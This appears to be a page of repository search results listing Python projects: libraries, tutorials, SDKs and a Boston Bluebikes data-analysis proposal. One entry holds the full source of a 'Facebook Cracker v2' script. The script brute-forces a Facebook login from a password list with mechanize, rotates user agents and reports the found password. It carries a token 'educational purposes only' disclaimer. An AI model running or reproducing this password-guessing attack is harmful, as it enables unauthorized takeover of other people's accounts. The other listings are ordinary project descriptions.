91 skills found · Page 4 of 4
BehindTheMusicTree / AudiometaA comprehensive Python library for reading and writing audio metadata across MP3, FLAC, and WAV formats. Supports ID3v1, ID3v2 (v2.2/v2.3/v2.4), Vorbis, and RIFF metadata with rating normalization, and robust error handling.
RdH4CK3r / Uy#!usr/bin/python #Facebook Cracker Version 2 can crack into Facebook Database 100% without Interruption By Facebook Firewall ! #This program is for educational purposes only. #Don't attack people facebook accounts it's illegal ! #If you want to crack into someone's account, you must have the permission of the user. #InfosecHacker is not responsible. import sys import random import cookielib import mechanize GHT = ''' +=========================================+ |..........Facebook Cracker v 2...........| +-----------------------------------------+ |#Author: RdH4CK3r modified | || |#Date: 23/10/2015 | |#This tool is made for pentesting. | |#Changing the Description of this tool | |Won't made you the coder ^_^ !!! | |#Respect Coderz ^_^ | |#I take no responsibilities for the | | use of this program ! | +=========================================+ |..........Facebook Cracker v 2...........| +-----------------------------------------+ ''' print ("Note:- This tool can crack facebook account even if you don't have the email of your victim") print ("# Hit CTRL+C to quit the program") print ("# Use www.graph.facebook.com for more infos about your victim") email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : ")) passwordlist = str(raw_input("Enter the name of the password list file : ")) useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] login = 'https://www.facebook.com/login.php?login_attempt=1' def attack(password): try: sys.stdout.write("\r[*] trying %s.. " % password) sys.stdout.flush() br.addheaders = [('User-agent', random.choice(useragents))] site = br.open(login) br.select_form(nr=0) ##Facebook br.form['email'] =email br.form['pass'] = password br.submit() log = br.geturl() if log == login: print ("\n\n\n [*] Password found .. !!") print ("\n [*] Password : %s\n") % (password) sys.exit(1) except KeyboardInterrupt: print ("\n[*] Exiting program .. ") sys.exit(1) def search(): global password for password in passwords: attack(password.replace("\n","")) def check(): global br global passwords try: br = mechanize.Browser() cj = cookielib.LWPCookieJar() br.set_handle_robots(False) br.set_handle_equiv(True) br.set_handle_referer(True) br.set_handle_redirect(True) br.set_cookiejar(cj) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) except KeyboardInterrupt: print ("\n[*] Exiting program ..\n") sys.exit(1) try: list = open(passwordlist, "r") passwords = list.readlines() k = 0 while k < len(passwords): passwords[k] = passwords[k].strip() k += 1 except IOError: print ("\n [*] Error: check your password list path \n") sys.exit(1) except KeyboardInterrupt: print ("\n [*] Exiting program ..\n") sys.exit(1) try: print (GHT) print (" [*] Account to crack : %s") % (email) print (" [*] Loaded :") , len(passwords), "passwords" print (" [*] Cracking, please wait ...") except KeyboardInterrupt: print ("\n [*] Exiting program ..\n") sys.exit(1) try: search() attack(password) except KeyboardInterrupt: print ("\n [*] Exiting program ..\n") sys.exit(1) if __name__ == '__main__': check()
janeminmin / Bluebikes Project1> Background information Bluebikes is Metro Boston’s public bike share program, with more than 1800 bikes at over 200 stations across Boston and nearby areas. The bikes sharing program launched in 2011. The program aimed for individuals to use it for short-term basis for a price. It allows individuals to borrow a bike from a dock station after using it, which makes it ideal for one-way trips. The City of Boston is committed to providing bike share as a part of the public transportation system. However, to build a transport system that encourages bicycling, it is important to build knowledge about the current bicycle flows, and what factors are involved in the decision-making of potential bicyclists when choosing whether to use the bicycle. It is logical to make hypotheses that age and gender, bicycle infrastructure, safety perception are possible determinants of bicycling. On the short-term perspective, it has been shown that weather plays an important role whether to choose the bicycle. 2> Data collection The Bluebikes collects and provides system data to the public. The datasets used in the project can be download through this link (https://www.bluebikes.com/system-data). Based on this time series dataset (start from 2017-01-01 00:00:00 to 2019-03-31 23:00:00), we could have the information includes: Trip duration, start time and data, stop time and data, start station name and id, end station name and id, bike id, user type (casual or subscribed), birth year, gender. Besides, any trips that were below 60 seconds in length is considered as potentially false starts, which is already removed in the datasets. The number of bicycles used during a particular time period, varies over time based on several factors, including the current weather conditions, time of the day, time of the year and the current interest of the biker to use the bicycle as a transport mode. The current interest is different between subscribed users and casual users, so we should analyze them separately. Factors such as season, day of a week, month, hour, and if a holiday can be extracted from the date and time column in the datasets. Since we would analyze the hourly bicycle rental flow, we need hourly weather conditions data from 2017-01-01 00:00:00 to 2019-03-31 23:00:00 to complete our regression model of prediction. The weather data used in the project is scrapped using python selenium from Logan airport station (42.38 °N, 71.04 °W) webpage (https://www.wunderground.com/history/daily/us/ma/boston/KBOS/date/2019-7-15) maintained by weather underground website. The hourly weather observations include time, temperature, dew point, humidity, wind, wind speed, wind gust, pressure, precipitation, precipitation accumulated, condition. 3> The problem The aims of the project are to gain insight of the factors that could give short-term perspective of bicycle flows in Boston. It also aimed to investigate the how busy each station is, the division of bicycle trip direction and duration of the usage of a busy station and the mean flows variation within a day or during that period. The addition to the factors included in the regression model, there also exist other factors than influence how the bicycle flows vary over longer periods time. For example, general tendency to use the bicycle. Therefore, there is potential to improve the regression model accuracy by incorporating a long-term trend estimate taken over the time series of bicycle usage. Then the result from the machine learning algorithm-based regression model should be compared with the time series forecasting-based models. 4> Possible solutions Data preprocessing/Exploration and variable selection: date approximation manipulation, correlation analysis among variables, merging data, scrubbing for duplicate data, verifying errors, interpolation for missing values, handling outliers and skewness, binning low frequent levels, encoding categorical variables. Data visualization: split number of bike usage by subscribed/casual to build time series; build heatmap to present how busy is each station and locate the busiest station in the busiest period of a busy day; using boxplot and histogram to check outliers and determine appropriate data transformation, using weather condition text to build word cloud. Time series trend curve estimates: two possible way we considered are fitting polynomials of various degrees to the data points in the time series or by using time series decomposition functions and forecast functions to extract and forecast. We would emphasize on the importance to generate trend curve estimates that do not follow the seasonal variations: the seasonal variations should be captured explicitly by the input weather related variables in the regression model. Prediction/regression/time series forecasting: It is possible to build up multilayer perceptron neural network regressor to build up models and give prediction based on all variables of data, time and weather. However, considering the interpretability of model, we prefer to build regression models based on machine learning algorithms (like random forest or SVM) respectively for subscribed/casual users. Then the regressor would be combined with trend curve extracted and forecasted by ARIMA, and then comparing with the result of time series forecasting by STL (Seasonal and Trend decomposition using Loess) with multiple seasonal periods and the result of TBATS (Trigonometric Seasonal, Box-Cox Transformation, ARMA residuals, Trend and Seasonality).
hackdartstorm / PythonA comprehensive Python guide covering basics to advanced topics, file handling, OOP, error handling, projects, LLMs from scratch, FastAPI, REST APIs, and more — hands-on and beginner-friendly!
gandhiprince / Advanced PythonAdvanced Python: Object Oriented Programming, Functional Programming, Decorators, Error Handling, Generators
zagaran / CronutilsA Python framework for simplifying configuration and error handling of cron tasks
1038lab / Safetensors ConverterA robust and comprehensive Python tool to convert various AI model formats to `.safetensors` format with advanced error handling and validation.
not-knope / Bluesky Followers Scraper To CsvA Python script that scrapes Bluesky followers and exports data to CSV. Features include pagination support, error handling, and comprehensive logging.
gladw-in / GladlangGladLang is a dynamic, interpreted, object-oriented programming language with a full interpreter built in Python. Features closures, classes, inheritance, and robust error handling.
ShrishtiSingh26 / Railway Reservation SystemA Python-based Railway Reservation System with MySQL integration. It features secure user authentication, parameterized SQL queries to prevent injection attacks, and detailed error handling for a smooth user experience.
Yosef91 / Pythonthis repository teaches the basics of python, gives tips on pygame and turtle, has a variety of games I coded, and teaches error handling. It also includes some math practice
zaber-dev / Database SwapA powerful Python tool for migrating data between different database systems (MongoDB, MySQL, SQLite). Database Swap provides a reliable, fast, and user-friendly way to transfer data with proper validations, error handling, rate limiting, and progress tracking.
mel-ak / Mela Youtube Video DownloaderMela YouTube Video Downloader is a Python-based application that uses yt-dlp to download videos from YouTube. It provides real-time progress updates, automatically names the files based on the video title, and handles errors gracefully. Perfect for users who need a simple and efficient way to save videos offline.
poojanaik07 / Trading BotA Python-based trading bot for Binance Futures Testnet that supports MARKET, LIMIT, and STOP-MARKET orders. It features a simple CLI for placing orders, logging API responses, and handling errors. Easily extensible to support advanced order types. Ideal for testing and demo purposes.
seHuzeyfe / Company ScraperThis Python-based web scraper uses Selenium, Beautiful Soup, and advanced techniques to extract company contact information (website, email, phone) from various sources, including search engine results and company websites. It features robust error handling, multi-threading for efficient scraping, and intelligent contact page discovery.
iantbutler01 / ResonRust + Python library for AI agents that feels semantically like the language, not a custom DSL. Type-driven outputs with production-ready observability and error handling.
adroffner / Flask Error HandlingPython Flask Error Handling Plan - Trap all expected and unexpected exceptions in a consistent way
Spooled-Cloud / Spooled SDK PythonOfficial Python SDK for Spooled. Full async/sync support for FastAPI, Django, standard Python. Type hints, comprehensive error handling.
vivek-rx / ModSyncXA lightweight Python script for Modbus RTU & TCP communication using PyModbus. Supports reading/writing registers, error handling, and diagnostics.
freedreamer82 / Jupyter In A ShellA simple Python tool to run Jupyter notebooks from the command line, with support for logging, timeouts, and error handling.
